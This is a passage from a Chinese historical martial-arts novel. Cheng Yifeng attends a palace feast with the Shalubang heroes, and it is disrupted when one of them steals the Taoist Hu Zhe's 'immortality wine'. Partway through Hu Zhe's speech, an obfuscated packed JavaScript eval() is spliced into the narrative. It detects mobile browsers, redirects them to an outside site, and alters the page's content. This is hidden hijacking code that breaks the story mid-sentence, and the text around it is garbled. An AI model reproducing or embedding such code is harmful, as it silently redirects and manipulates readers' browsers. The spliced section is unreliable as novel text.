“好吧,我给程大人面子。”大嘴四一甩手,钱袋、玉佩等物嗖嗖地直朝冷千山打了过去。那钱袋倒还好,玉佩和鼻烟壶如果接不住岂不是要粉身碎骨?冷千山不得不用袍子来兜,动作狼狈万状。管不着和大嘴四都哈哈大笑,而程亦风却暗地叫苦:此一来,自己和冷千山的矛盾就更深了! 冷千山气急败坏地走出了义学去。生员们回过神来,又要将“不战不和”的缘故打破沙锅问到底。程亦风支支吾吾,既不能实说,也想不出谎话来,使眼色向臧天任、公孙天成以及杀鹿帮的人求助,却没有一个帮得上忙。正着急,忽然听到了符雅的声音:“程大人是在里面么?” 他简直像见了救星:“符小姐?” 楚国礼教甚言,女子走进学堂是绝少有的——辣仙姑这种江湖儿女,不在礼教约束之列,而这个被程亦风称为“小姐”的人竟然抛头露面又走到全是大男人的义学里来了,生员们饶是满口改革,也觉得万分奇怪,全向门口望了过去。就见符雅荆钗素衣走了进来,全身唯一鲜艳的颜色就是手中艳红的油纸伞。 “程大人有病在身,怎么不在家里好好休息?”符雅道,“便是大人想出来散心也没关系,但太子殿下派符雅来探望大人,这可不跑断了符雅的腿?” 程亦风连忙道歉:“让小姐受累了。因为臧兄有见翰林院的差事要办,程某来帮他。没想到太子殿下再次差小姐来探望程某,实在……” “那么大人的事情办完了吗?”符雅打断。 生员们都已经签字画押,自然是办完了。程亦风即点了点头。 “事情既然办完了,却还在这里耽搁什么?”符雅道,“太子殿下之前交代过符雅,倘若大人身体好了,就请到宫里去,他有重要的事情要跟大人商量呢!” “果真?”程亦风乐得找到机会脱身赶紧和义学里的生员们道别:“今日程某得以结识诸位学弟实乃三生有幸。希望他日诸位高中之后,程某还能与诸位共事。” 生员们一来听说他有病,而来听到太子要召见他,自然不好再留,恭恭敬敬地让出一条路来,又都躬身向他告别。程亦风也就连声说“后会有期”,逃一般地出了门来。 杀鹿帮的四位当家都也跟着。“诸位要上哪里去?”程亦风问道,“如果京城中还没有找到落脚之处,程某家中倒是还有许多空闲的房间,不过却没有仆人侍奉诸位。” “程大人不必担心我们。”猴老三道,“我们都是粗人,哪里不能将就?已经约好了跟大哥在六合居碰面——听说那里是京城数一数二的酒家,好歹也要去见识一下。” “本来程某也应该略尽地主之谊……”程亦风道,“不过……” “不过太子殿下召见大人嘛!”大嘴四道,“咱们兄弟来到京城是游山玩水的,大人还怕咱们不去叨扰?就怕改日大哥上门来找大人拼酒,大人要醉得三天三夜也爬不起来呢!” 程亦风一直觉得杀鹿帮在大青河战役中死伤惨重自己要负很大的责任,所以一心想要做点什么来补偿。不如见了太子的时候替这些草莽英雄也求个一官半职?念头才起,又立刻打消:如此朝廷,如此官场,何必要把这些自由自在的人牵扯进来?“邱大侠如果有雅兴,程某定当舍命陪君子!”他道。 “大哥没有雅兴,”辣仙姑道,“不过酒瘾却是有的——我们不耽误大人的正事了,过几天酒桌上见吧!”一抱拳,和其他三位一起跟程亦风道别而去。 臧天任也要回翰林院复命,程亦风和公孙天成本欲跟他的车子一起进宫见竣熙,符雅却在一边嘻嘻笑道:“程大人还真的以为太子殿下召见你么?如果符雅是太子派去探望大人的,大人却因为急事出了门,指望你府上的那些老门子和小童仆,能够把符雅指到这里来么?” 程亦风一愣:可不!自己出门的时候什么也没交代——其实那会儿连他自己也不知道风雷社义学的所在。“那符小姐是……” 符雅手中拎着一个小小的包袱:“我本来是随便出来走走,谁知到了这里就看到围了一大群人。只不过好奇看看热闹,结果就见到程大人火急火燎地从车上跳下来。不知是不是公孙先生暗地里传了些法术给我,我掐指一算就晓得程大人今天要有麻烦——既然给大人解围会有好处拿,符雅当然就要一试身手啦——” “多谢……” 程亦风还没作下揖去,符雅已经制止了:“大人别以为光谢我一句就完事。好在太子殿下还没有正式恢复监国,否则我撒的这个谎可不就是假传圣旨么?” “那小姐要程某如何报答?”程亦风知道她洒脱,也愿意与她玩笑。 符雅道:“这个嘛,一时半会儿我也没想出来。大人还是先雇车回府吧,如果大人再继续留在此处,惹上更多的麻烦,符雅可就财源滚滚了。” 知道她其实是关心自己的身体,程亦风不能辜负人家的好意,就笑着拱了拱手。臧天任道:“何必雇车,我就先把老弟和公孙先生送回去,再回翰林院不迟——符小姐需要雇轿子么?” 符雅摇了摇头,向三人都道了万福,就自己撑着伞离去了。一点艳红飘在仿佛被雨水洗得褪了色的世界里,格外夺目,直到她人走过了忘忧川的石桥去,还能清楚地看到——好像春日最后一朵桃花,即使淫雨霏霏也要绽放出自己的色彩——因为她开放,并不是为了凋谢。 诗句就自然而然地溜到嘴边:“轻伞犹似春花裁,隔水佳人雨中来……” “老弟!”臧天任笑着拉他上车,“分明是‘佳人雨中去’,怎么说是‘雨中来’呢?你如果想人家来的,愚兄可以让拙荆帮你去说媒。” 程亦风不过是一时起了诗性,岂料臧天任就想歪了,他赶紧澄清:“臧兄千万莫要拿人家符小姐的名节开玩笑。你还不知道我?别的本事么有,就会写些风花雪月的歪诗。为了要押韵,自然只能用‘来’字。” “得啦!”臧天任笑道,“你已经多久没写过这些风花雪月的诗了?今天对着符小姐的背影,一首佳作就顺口而出。你不要不承认了!” 再说下去只会越描越黑,程亦风索性住口,上了车,从帘缝里欣赏雨中凉城。不过在车子辘辘行驶的时候,细雨就渐渐止住了。到得程亦风的家门口,乌云消散,淡丽的春阳在青空中温和地照耀,仿佛要把人心中的忧虑也拂去一般。 便忍不住露出微笑:即使有胡喆和冷千山存在,春光依旧如此美好。 24. 第 24 章 那天之后程亦风果然和杀鹿帮的五位当家在酒桌上见面了。不过却不是程亦风做东,而是竣熙在冬宫设宴。少年人其实从鹿鸣山“招安”开始,就已经对杀鹿帮的好汉充满了好奇,一听兵部的人说他们护送崔抱月和民兵来到京城就像立刻召见,并给他们封个一官半职。但邱震霆等人闲散惯了,又感觉朝廷里除了程亦风,大约都是像冷千山一样的官,所以百般推辞。最后竣熙不得不麻烦程亦风出面才总算把他们都请来了。 五位当家之中,除了管不着早年在京城作案曾经来过皇宫,余人都是第一次踏进皇城的门槛儿——即使是管不着,之前也是在黑灯瞎火的时候悄悄而来,死这般青天白日光明正大地欣赏皇宫景致,是做梦也没有想过的。 竣熙近身的刘太监亲自引着他们一路往东宫去,途中指点精美稀奇的建筑又各种宫中掌故规矩,把五个人都哄得开心无比。大嘴四直道:“我自诩见人说人话,见鬼说鬼话,原来公公比我还厉害呢!” 说说笑笑时,就已经来到了东宫。刘太监让大家在门口稍待,自己先去通报太子。“好说好说!”大嘴四道,“不过,我却又一个问题要先问问公公——为什么所有匾额上‘门’子都是末笔直下至底没有向上的勾脚?刚才进瑞华门是这样,穿了什么宝庆门、螽斯门也是这样,现在东宫的少阳门还是这样?” “得了吧,老四!”猴老三道,“跨进了皇宫你就当自己是天潢贵胄了?你懂得书法么?问这些莫名其妙的问题耽误刘公公的时间。” “不耽误。”刘太监笑道,“其实四当家观察入微,宫里的‘门’字写法的确与别不同。这一勾是故意不勾上去的——太宗在位的时候有一次禁宫失火,差点儿把奉先殿也烧了。后来有人上奏说,宫中匾额的‘门’字末笔都有勾脚,带火笔,因此招火,将这些匾额全部改掉方能免灾。从此以后,凡宫殿的匾额,‘门’字都不带勾脚了。” 原来还有这种学问!众人都觉得天下无奇不有,皇宫尤为古怪万分。大嘴四更得意:“三哥,我问的可是‘莫名其妙’么?” 猴老三知他是存心,正想要刺两句,却忽然听到声冷笑:“少见多怪!”抬眼望,原来是崔抱月在太监和宫女的簇拥下来到了。这位巾帼豪侠显然是经过了精心的打扮,不仅穿着时新的绣花衣裙、梳着妩媚的落马髻,还薄施粉黛,显得面似山茶肌似雪,跟往日判若两人——如果不是杀鹿帮的诸位和她一路南下龃龉不断认得她的声音,如此对面相见,恐怕也认不出来。 崔抱月冷淡且轻蔑地扫了邱震霆等人一眼:“你们这些人怎么也进宫来了?你们不是就想到京城的酒家茶馆里享受享受的么?” “我们这些人怎么啦?”大嘴四道,“母鸡尾巴上插了扫帚就以为自己变凤凰了?你来得,我们怎么就来不得?” “大胆!”那给崔抱月领路的太监不知道大嘴四是竣熙的贵客,尖声喝道,“这是皇后娘娘的客人,刚刚封为陈国夫人的崔女侠。你竟敢对她不敬?” “陈国夫人?”杀鹿帮的人都是一惊。邱震霆道:“你……你一转眼就嫁给皇帝了?”其实他们不知宫廷礼仪——命妇也有内外之分,内命妇才是皇帝的妻妾,而外命妇一般是官员的母亲或妻子。三品以上官员的母、妻封为“郡夫人”,而一品官员的母、妻则封为“国夫人”,又以不同国名为区别,如“韩国夫人”“郑国夫人”等等。崔抱月虽然定过亲却未曾嫁人,因为自己的功绩而得此荣誉,可以说是史无前例。邱震霆这一误会,等于是把她建树统统抹杀——这还不算,御赐的贞洁牌坊还在赣州崔家门前耸立着,她如果放弃守节而嫁给了元酆帝,简直是打自己的嘴巴! 崔抱月不由气得柳眉倒竖。 “呔!狗嘴里吐不出象牙!”那太监骂道,“崔女侠在大青河立下奇功,皇后娘娘向皇上求了恩典,册封她为一品夫人。你们对她不敬,等同侮辱朝廷命官!” “嘿,她立下奇功,我们就没有立下奇功了?”大嘴四道,“爷爷们本来是不稀罕,如今也非要弄个官来做做不可!”说着就催刘太监:“公公,烦你告诉太子殿下,今天不给我大嘴四封个比陈国夫人大的官儿,我就不进去了!” 他这样咋呼,东宫里的人自然都听到了,竣熙和程亦风、公孙天成一起走了出来,崔抱月一行人赶忙行礼,刘太监也叫杀鹿帮的诸位参见太子,同时附耳将这场小小风波的经过告诉了竣熙。 少年听了,笑道:“杀鹿帮的诸位英雄我久仰大名,其实去年你们跟程大人不打不相识的时候我就有心请你们入朝为官,为朝廷效力,但是又怕你们不肯屈就。如今诸位在大青河之战中为朝廷立下了汗马功劳,再不加以褒奖,仿佛朝廷占你们便宜似的——不知诸位英雄想要什么赏赐呢?” 有竣熙这样一句话大嘴四已经挣回了面子,真要叫他做官,他才不乐意,因道:“我刚才说的是玩笑话。我们兄弟尊敬程大人,愿意像他一样为老百姓做点实事。做实事又不一定要当官。” 竣熙小小年纪就经历官场,以为这只是客套话,便道:“催女侠封的一品命妇,诸位如果都想官居一品,恐怕还做不到。不过听说诸位都伸手了得,若愿意入宫做大内侍卫,一等侍卫倒是有空缺。” 杀鹿帮中人见少年当起真来,个个把头摇得好像波浪鼓:“我们做不来,万万做不来!请太子放过我们吧!” 竣熙只道他们嫌官小,为难地看了看程亦风。公孙天成几出声道:“殿下,杀鹿帮的英雄们习惯了鹿鸣山的生活,把他们留在京城,恐怕他们思乡情切。再说大内不缺高手,鹿鸣山的远平城大战之中失去了守将,守军也几乎被樾人杀尽。不如让诸位英雄回去整顿远平防务,守卫一方安宁——殿下以为如何呢?” “先生果然考虑周到!”竣熙喜道,“明日就向兵部提议,以邱大侠为远平游击将军。” “殿下!”他话音才落,却见冷千山、董鹏枭、向垂杨和鲁崇明四个人走了过来,“微臣等以为不能用邱震霆为远平游击。” 怎么把他们也请来了?程亦风对元宵节那一次“将相和”的宴会记忆犹新。竣熙自然也忘不了那次的教训,赶忙低声解释道:“程大人,我并没有请他们来。他们……” 才说着,冷千山一行已经到了跟前,跟竣熙见礼,道:“微臣等无状。不过远平乃大青河重镇,游击将军肩负着拒敌重任。这些草……”差点儿就说出“草寇”了,还好改了口:“这些草莽英雄也许身手了的,但毕竟不谙兵法,甚至连兵队的基本编制都不知道。如果让他们领军,恐怕樾寇占领远平的闹剧又要重演了。” “嘿嘿,让远平被人占领的,难道不正是你们那些熟读兵法的将领么?”大嘴四冷笑道,“而将军大人你自己的并发大概比那个草包游击将军还熟,当初不是一样……” 在鹿鸣山被绑架乃是自己的奇耻大辱,冷千山的脸立刻涨红了。鲁崇明赶忙拽了拽他的袖子,提醒他不要当着竣熙的面发作,又道:“殿下,冷将军的意思是,现在有一个比邱大侠更合适的人选。” “是谁?”竣熙很自然地问。 “恐怕是他自己。”大嘴四嘀咕,“要不就是他表舅、堂弟、二叔的三姨太的干儿子……” 在鲁崇明的提醒下,冷千山对大嘴四的挑衅置若罔闻,自向竣熙道:“就是在大青河畔斩杀贪生怕死的副将余鹏又率领士兵重创樾军的百夫长——名叫‘易水寒’的就是。” 是他!程亦风听说过这段事迹,却没有留意英雄的名字——易水寒,这个名字有壮烈之感,隐隐透着些不详啊! “他武功扎实,忠勇机智。”冷千山接着道,“大青河之后,深得士兵大爱戴。而且——”他看了程亦风一眼:“他接手远平防务,也是司马非将军的意思。” 司马非的意思?程亦风奇怪,却没有听他说过——的确是接到过司马非的一封寄信,是催促解决“不战不和”的问题,因为接到了探子的消息,樾国刘子飞和吕异两位将军似乎有意前往瑞津同玉旈云碰面,如果他们打算趁着楚国战略悬而未决之时发动进攻转败为胜,情势就相当危急了。程亦风刚才还在和竣熙讨论对策呢。 冷千山道:“司马将军已经让易水寒暂代了余鹏的职位,并让他回京述职。微臣早年和易水寒也有过数面之缘,视他如同子侄。之前跟他谈了谈,才知道司马将军觉得他前途不可限量,不应该只屈就做一个副将。让回京述职,就似乎为了方便万岁嘉许他在鹰眼崖的作为,封他为远平游击。” “搞了半天也不是司马将军亲口跟你说的!”大嘴四道,“别人说一句话、办一件事,你倒可以领会出几百种意思来。佩服佩服。” 生怕在东宫门口争执起来成了天下的笑柄,竣熙连忙打圆场:“远平由谁去守,这个问题留着兵部还有靖武殿去商议。今天我请了杀鹿帮的诸位英雄来,是喝酒谈天的。只谈风月,不谈国事。” 皇后那边派来的太监也笑着缓和气氛:“是了,皇后娘娘跟奴才说:‘听说东宫那里有乐子,带了崔女侠去玩玩。’结果奴才过来了,听到各位达人说什么远平防务,还以为皇后娘娘记差了呢!” 竣熙道:“母后的消息可真灵通——崔女侠,只有些薄酒小菜,并没有叫戏班子,不知你会不会闷?” “不是每个女人都只喜欢看戏的。”崔抱月道。 “不过大部分女人都是不会喝酒的。”大嘴四嘿嘿地低声笑道,“回头喝醉了,我们可不抬你回家——司马将军只拜托我们送你来京城,至于到了京城之后,就是遇上采花大盗,我们也不管。” 他正得意自己的挖苦之辞,冷不防邱震霆一巴掌拍在他后脑勺上:“有完没完?你非要撩那个婆娘来跟你吵架不可么?俺可不想拿你们的叽里呱啦来下酒。” “是。”大嘴四摸着脑袋,不敢再出声了。 竣熙道:“冷将军、鲁将军、向将军、董将军,若你们还有公务,就不用耽搁在我这里了……”言下之意,当然是不欢迎他们来参加宴会,免得麻烦。 而冷千山却道:“哦,本来也没有重要的事。不过易水寒现在兵部,微臣想殿下大概也会很想见见这位英雄,所以自作主张让他办完事就来宫中觐见呢。微臣很想介绍他给殿下认识。” 他找出冠冕堂皇的理由来死赖着不走,竣熙也不能赶他。只有道:“那么几位将军也留下小酌几杯吧,酒席还是人多热闹——不过,一定是只谈风月不谈公务。” “是。”对于阳奉阴违,冷千山等都十分在行,而说到指桑骂槐,他们的本领就更高了——只要能留下来,他们就可以见机行事,不让程亦风和司马非那一派独大。 于是,一行人都进入了东宫。太监宫女们少不得多加座位,又额外准备酒菜。入席的时候,又见到了馘国废帝景康帝,他自觉复国无望,已经请求成为楚国的臣子,所以元酆帝封了他做景康侯,但依然以外宾利相待。竣熙见他喜爱书画是个雅人,所以留在东宫做伴读,实际给他个闲差,让他不至于被那可怜的俸禄饿死就是。他和程亦风一左一右地伴着竣熙做了,程亦风下手为邱震霆等一干人,景康侯下手为崔抱月,然后才是冷千山等四人——如果不是公孙天成甘陪末座还有景康侯从馘国带出来的一个侍卫和老先生同在下手,冷千山等的地位就是席间最低了。 因为个人心里都有个人的打算,所以宴席沉闷如死水,竣熙和景康侯几次想打开话题,但始终尴尬万分。伺候在一旁的刘太监道:“殿下说是指谈风月,不过您的那些诗词歌赋别说奴才不懂,恐怕邱大侠他们也不懂,冷将军、向将军他们又不好此道,那不就成了您和侯爷、程大人以及公孙先生自个儿开心了么?依奴才看,作诗填词是风月,说书讲故事也是风月——殿下不是常说没有亲临大青河战场是一件憾事么?今天诸位英雄来到,正好儿可以请他们讲一讲——这个还不算是政务吧?” 算是一个打破僵局的法子,竣熙因先问崔抱月:“崔女侠,民兵攻占石坪的事我只看过战报,相信个中惊险绝非寥寥数语可以描述。你方才一定跟母后也讲了一回吧?可否麻烦你再给我也说说?” “其实……也没什么……”崔抱月端起酒杯一饮而尽——如果换在攻占石坪之初,她满怀豪情,恨不得天下人都知道,只要是有心报国,一定可以将敌人杀得片甲不留。可是,和樾军真正交锋之后,她才发现自己辛苦训练的民兵根本不堪一击。现在北方究竟是站是和悬而未决,别人都还在坚守前线,偏偏她的部队回来京城,显然是旁人也没把他们当一回事。至于方才面见皇后,说道对民兵的表彰赏赐,皇后竟然说赏写粮食布帛等实用之物,女兵们再多赏些时新宫花——这和达官贵人打赏戏子又有何分别呢?她一点儿也开心不起来。 “崔女侠的民兵最擅出其不意。”程亦风怕冷场,于是道,“他们不仅攻下了石坪城,撤退之前还把石坪城能敲的敲,能砸的砸,樾军勉强收了回去,还要花好大功夫整修呢!” “这可算是额外的功劳了!”竣熙道。看看崔抱月不像是愿意多说的样子,只有转头来问杀鹿帮的诸位:“各位侠士在远平遭遇樾军,还是玉旈云的亲信石梦泉亲自带领的部队,这位又是怎样把它们打得落花流水的?” 杀鹿帮中人虽然不爱功名,但是远平城智斗樾军是他们引以为豪的一件事。大嘴四老早就在肚子里编了一部足够讲八十回的评书,听竣熙问,立刻就从头说来。 他绘声绘色,众人如临其境,连冷千山一党都不觉被吸引。只是辣仙姑不经意瞥了瞥上手,只见邱震霆旁边的位子空着,管不着不知何时失去了踪影。糟糕!她心里不由暗叫,八成这家伙贼性不改,手痒难熬偷东西去了!这里是皇宫大内,自己又是太子的客人,万一出了事,岂是好玩的?因赶紧把丈夫猴老三拉倒跟前,低声道:“你二哥大概又犯了老毛病,万一闹出来,咱都脑袋难保,说不准连累程大人——你快假装要去上茅房,然后想办法把二哥找回来。” 后老三点头答应,才要起身,大嘴四那边却说到用鹿群和野兽冲得樾军阵脚大乱。竣熙忍不住拍案叫绝:“侯大侠,上次程大人从鹿鸣山回来就告诉我您能讲百兽之语,这真是太神奇了。不知你愿不愿意表演给我看?” “这……”猴老三不能离席,暗想,先吸引住众人的注意力不迟,因道,“太子爷想看,我猴老三就给你表演表演。你这宫里可养了什么猫狗鸟虫么?” 竣熙不待答,旁边有个宫女插嘴道:“旁的没有。鹦哥儿倒有一只。” 猴老三笑了笑:“鹦哥会说人话,那就更容易了。”当下撮着嘴“啾啾”学了几声鸟叫。 众人侧耳细听,□□里便有扑啦扑啦的翅膀扇动之声,不多时,果然见到一只身体藏青,翅膀却为青铜色的大鹦哥飞了出来,阳光之下,蜡黄的鸟喙以及喉部白色酒红色相间的羽斑显得分外鲜艳。 猴老三不停地啁啾而语,大鹦哥就一直飞到了他的跟前,立在他的肩膀上。满座都拍手称奇,冷千山自是不屑赞美盗匪,而鲁崇明就发挥溜须拍马的本事,称赞竣熙的鹦哥:“殿下这只鸟儿可真希奇,微臣只见过绿鹦哥和蓝鹦哥,这么大,羽色又这么鲜艳的,不知是何方极品?” 竣熙道:“这可真把我问住了。此鸟系故礼部符侍郎的千金符雅小姐所赠。她游遍天下,这鸟怕不是中原之物。” 鲁崇明道:“哦,哦,难怪希奇,呵呵!” “那要我说,最希奇的还是我三哥的本领。”大嘴四道,“不仅中原的鸟语他会说,连藩国鸟语都难不倒他呢!” “杂耍卖艺的!”冷千山和向垂杨笑声嘀咕,“叫他学两声狗叫,他还觉得是抬举他了!” 正说着,忽然后庭又跑出来一个女子,虽然和普通宫女一样的打扮,可是身量苗条,容貌俊美,整个人儿仿佛玉琢出似的,精巧又纯洁,叫人一见就不由得心声爱怜。她大约是追那鹦哥的,未料前庭里有这许多人,一惊,又急忙转身跑回去了。 董鹏枭性好渔色,虽然在东宫之中不敢放肆,但还是咕哝了一句:“这个小宫女,忒也没规矩了。”其实是可惜人家没有跑到跟前让他瞧个仔细。 然而只惊鸿一瞥,程亦风便将这女子认出来了:这不就是那个因舞艺超群而被元酆帝看中,后来又让符雅三言两语救下的西瑶姑娘凤凰儿么?怎么会在东宫里?他疑惑地望了望竣熙。 少年正巧也看着他呢,脸立刻红了:“程大人……程大人能不能借一步说话?” 程亦风点了点头,两人因告更衣,一同退下席来。走到了游廊的深处,竣熙才道:“程大人可千万不要跟父王说呀,凤凰儿的事……” 原来那天凤凰儿被太监押了出来,因为是“巫女”所以没人敢遣送她出宫——怕她施法报复。因此,太监们商量着,要先请胡天师来做一场法事,去去这巫女身上的妖气。凤凰儿并不懂中原话,还以为自己犯了大罪,性命难保。她惊惶万分,趁太监们不备,咬伤了拉住自己的那一个,夺路而逃。当时天正大雨,雨水打在人脸上,连眼睛都睁不开。太监们找不到她,就索性回报说巫女施展法术逃走了。凤凰儿一个人在皇宫里乱闯了一阵,找不到出去的路,就撞进一间宫房里避雨。她并不知道自己误打误撞进了奉先殿,只觉得此处清净,供桌上有食物,又很少有人进来,于是打算先在这里住一阵,等天气好了,再想办法逃出宫去。谁知,供桌上的食物频频失踪,让打理奉先殿的太监以为是见了鬼,正巧看到凤凰儿闪身往神案下躲,就惊慌失措地逃出了奉先殿。适逢那一日竣熙回宫,轿子经过此处,看到太监们惊慌失措就上前问个究竟。太监们言道“奉先殿闹鬼”,偏竣熙不信鬼神之言,就自告奋勇进殿去看个究竟。如此就见到了神案之下瑟瑟发抖的凤凰儿。他当时并不晓得事情的原委,以为又是一个被胡道士选中去“协助炼丹”的可怜姑娘,心有便有一种愤愤之气:想我一国太子,若连个宫女都保护不了,将来怎样保护本国百姓?当下对外面的太监道:“是一只猫,已经从后窗逃走了。”太监们还道士巫女识得变换之术,不过既然离开了他们的管辖之地,也就松了一口气,谢了竣熙离去。竣熙即温和地问凤凰儿是哪个宫房的宫女,以后有什么打算,看来宫里是不能呆下去了,外面若有亲戚,他可送她逃出宫去。未料说了一大篇,凤凰儿连一个字也听不懂,只是像个受惊的小动物似的瞪着竣熙。竣熙想伸手把她从神案下拉出来,她就惊恐地喊出了无人听懂的语言。竣熙这才意识到言语不通,想起符雅见多识广,忙命人符小姐请了回来,这才把事情的前因后果弄了明白。 “符姐姐说了,巫女的话只是编出来骗人的。”竣熙道。“凤凰儿姑娘在我国举目无亲,我只好将她安顿在宫里……千万不可让父王知道。” 这可是欺君大罪!程亦风想,不过,从符雅开始说胡话起,就已经犯欺君之罪了!他望了望少年人,脸上的红云还未褪去——看来倒不是光安顿一个举目无亲的姑娘这么简单。人说少年情事老来悲,仿佛预示每一桩年轻时的风月公案都要以悲剧收场。不会吧,不应该吧……他笑了笑:“殿下放心,微臣早也听出符小姐是为了给凤凰儿姑娘解围才编了那番话。知情不报也是欺君之罪。微臣和殿下早就在一条船上了。” 竣熙面上立刻显出兴奋又略带一丝惊讶的神气:“程大人……哎呀,我还以为……” 以为什么? “呵呵,没什么……”竣熙笑着,“咱们回前面去吧,不要他们又起了什么争执。说实话,那些杀鹿帮的英雄我喜爱得紧。要是朝廷的官员都能像他们那样有什么说什么,说什么做什么,我看朝廷上的事也要好办得多。” 程亦风疑心竣熙那“以为”是以为自己是个三纲五常的老学究,要满口“色字头上一把刀”的教训,那可就真是看错了他。不过,既然竣熙换了话题,他也就不追问,顺着道:“杀鹿帮的英雄豪迈直爽,微臣也很钦佩。” 两人一同朝前庭走,再过月门就到了,却忽然听得那边一阵骚动之声。 坏了,莫非这短短几句话的功夫,杀鹿帮的人跟冷千山一党闹了起来?两人赶忙加快步子,到前面一看,却是胡喆带了一群侍卫太监并自己的小道童,杀气腾腾地堵在东宫门口。 居然欺负到自己家里来了!竣熙顾不得程亦风劝过他不要和歹人正面冲突,大步上前喝道:“胡喆,这里是东宫,不是你的三清殿,容不得你撒野!” “殿下,贫道无意冒犯殿下。”胡喆道,“只是这个大逆不道的贼人,偷取贫道给万岁炼的长生不老酒,贫道要捉他回去!”他手持桃木剑,朝院中一指——管不着笑嘻嘻站着。 哎呀,这神偷妙手!程亦风暗叫糟糕,什么事不好做,偏又和胡道士结梁子! 崔抱月并不知道胡喆是何人,看他嚣张,即骂道:“什么长生不老酒?休在这里妖言惑众。此间都是保家卫国的英雄,岂容你这莫名其妙的牛鼻子指指戳戳!” 胡喆月来在宫里呼风唤雨,还不曾被人这样辱骂过,眼一瞪,将桃木剑挽了个剑花,道:“贫道乃是万岁亲封的三清天师,专在宫中助万岁修道。万岁早有圣旨,凡阻碍修道者,视同谋逆,贫道可全权将其拿下——” “我呸!”崔抱月怒喝,“皇上圣明,怎么会有这样糊涂的命令?你这牛鼻子竟然敢假传圣旨,我先把你拿下不迟!”她本来进宫面见皇后,打扮得贵妇一般,也不曾带得兵器。可是女镖师出身,有在沙场上出生入死过,赤手空拳也有股威慑力,胡喆身边的侍卫们都不自觉地朝后退了退。胡喆也发觉情形有些不妙——若这个莫名其妙的女人当真不管三七二十一上来把自己就地格杀了,岂不是“秀才遇到兵,有理说不清”么? 冷千山等是外臣,不曾被胡喆直接欺压过,不过这妖道连月来耀武扬威,他们早有所闻,俱想:倘他这样控制皇上,将来难免和自己有利益冲突,若能假崔抱月之手将这阴阳怪气的家伙除掉,正是一件乐事。都站着,没一个阻拦。而程亦风则是深知元酆帝对胡喆的宠信——元酆帝为了胡喆,连竣熙都能软禁,如果崔抱月伤了胡喆一根头发,恐怕这位陈国夫人明天就要掉脑袋——爱国志士虽然有时叫他头疼,但总不能这样不明不白地牺牲。 程亦风因而赶忙跑上前去,拉住了竣熙,又挡住了崔抱月,道:“崔女侠,东宫之中和气为上。胡道长若是真的丢了东西,又是万岁之物,那就让他好生找找——管大侠,你当真拿了胡道长的仙酒么?” 管不着脖子一梗:“哪有这种事?”而辣仙姑和后老三则清楚得很:无端端失踪了这么一段时间,可定是作案去了。辣仙姑给丈夫使眼色:见机行事,千万不要给杀鹿帮和程大人惹麻烦! 胡喆阴阴地一笑:“我这酒中有龙鳞凤目,我早已招了九天赤龙使者替我看守。赤龙使者识得这酒的味道,你看它朝谁去,谁就喝了这酒!”说时,袖子一甩,众人只见红光一闪,有宫女“呀”地一声惊呼,原来是一条赤金色的小蛇被丢到了庭院的中央。这毒物游动起来,仿佛一线血,直朝着管不着的方向。 竣熙实在是有些气不过,沉声道:“太放肆了——” 可他还未再说下去,听猴老三嗓子里“咝咝”几声,那小蛇在原地吐吐信子,竟调转了头,朝胡喆那边游回去了。胡喆不由大怒。而管不着就呵呵笑道:“监守自盗,冤枉好人!” 程亦风看这架势,知道管不着九成是那偷酒的人了——猴老三要替他遮掩,反而“此地无银三百两”。土匪不晓得宫里勾心斗角的轻重厉害,如此胡闹下去,他们拍拍屁股走人,这烂摊子可又要程亦风来收拾了。他真是心里叫苦不迭,恳求邱震霆道:“邱大侠,这事……” 邱震霆搔了搔脑袋:“程大人,俺可没想到弟兄们给你惹麻烦了——老二,好汉做事,敢作敢当,你要真是喝了人家的酒,那就认了,有什么打紧?” 管不着当然也晓得隐瞒不下去——以他盗圣的身手,本来怎么也不该叫人发现的,谁料到人家的酒能引蛇呢?死不承认反而有失身份。即嘿嘿一笑,打了个饱嗝:“酒我是喝了,是不是仙酒我就不知道。本来我打算去茅厕,不过皇宫这么大,一不小心就转了向,我闻到酒香,便寻了过去——的确是有一葫芦酒。” 胡喆叫一个小道童上前来,举起一个珠围翠绕的紫金葫芦:“你喝的可是这只葫芦里的酒?” 管不着咂咂嘴,眯眼睛瞧了瞧,道:“正是,正是。” “这就是给万岁炼的长生不老酒!”胡喆狠狠道,“方才赤龙使者也认出了酒的味道。大胆贼人,你自己亲口承认了,还有什么可狡赖的?” “胡道长,不知者不罪……”竣熙道。 “太子殿下,”胡喆道,“百善孝为先。这可是贫道千辛万苦花了数年时间才找齐的材料,又用七七四十九天才炼成的,准备献给您父王,好让他春秋永盛,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728605|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今被这么一个贼人偷喝了,您怎能不治他的罪?” 竣熙被他堵了这么一句,一时没想起怎么回答。 胡喆就得寸进尺道:“请殿下立刻下令,将这人抓起来,处死。” 咄咄逼人,竣熙被刺得退了一步。 “道长,”大嘴四插嘴,“长生不老酒到底有多厉害?我孤陋寡闻,可不晓得。既然我二哥要因为这酒被砍掉脑袋,你总得让他死个明白吧!” 胡喆白了他一眼:“这酒有龙磷凤目麒麟角,用天上无根之水浸泡,地上无本之木熬煮,又要加千年灵龟喜极而泣时所流的眼泪,万年神鳖得道升天时所吐的仙气……” 他说的滔滔不绝,程亦风听着,全是无稽之谈:元酆帝竟然对一个骗子信任至斯,到底用真么办法才能将这事圆满解决? “厉害!厉害!”大嘴四听胡喆说了一大篇,便拍手大赞,“越听越是不可思议。就不知是不是真的能长生不老?” 胡喆翻个白眼:“那还用说?健康的人喝了能长生不死,重病的喝了能立刻痊愈,即使死了的人,若灌下此酒,也能起死回生呢!” “果然如此神奇?”大嘴四满面惊讶和崇拜,接着大笑起来,推着管不着道:“二哥,你尽管跟他们去吧,让他们砍脑袋吧。你今已喝下了仙酒,脑袋想是砍一个长一个,就算是把天下是刀都砍坏了,你的脑袋也掉不了。” 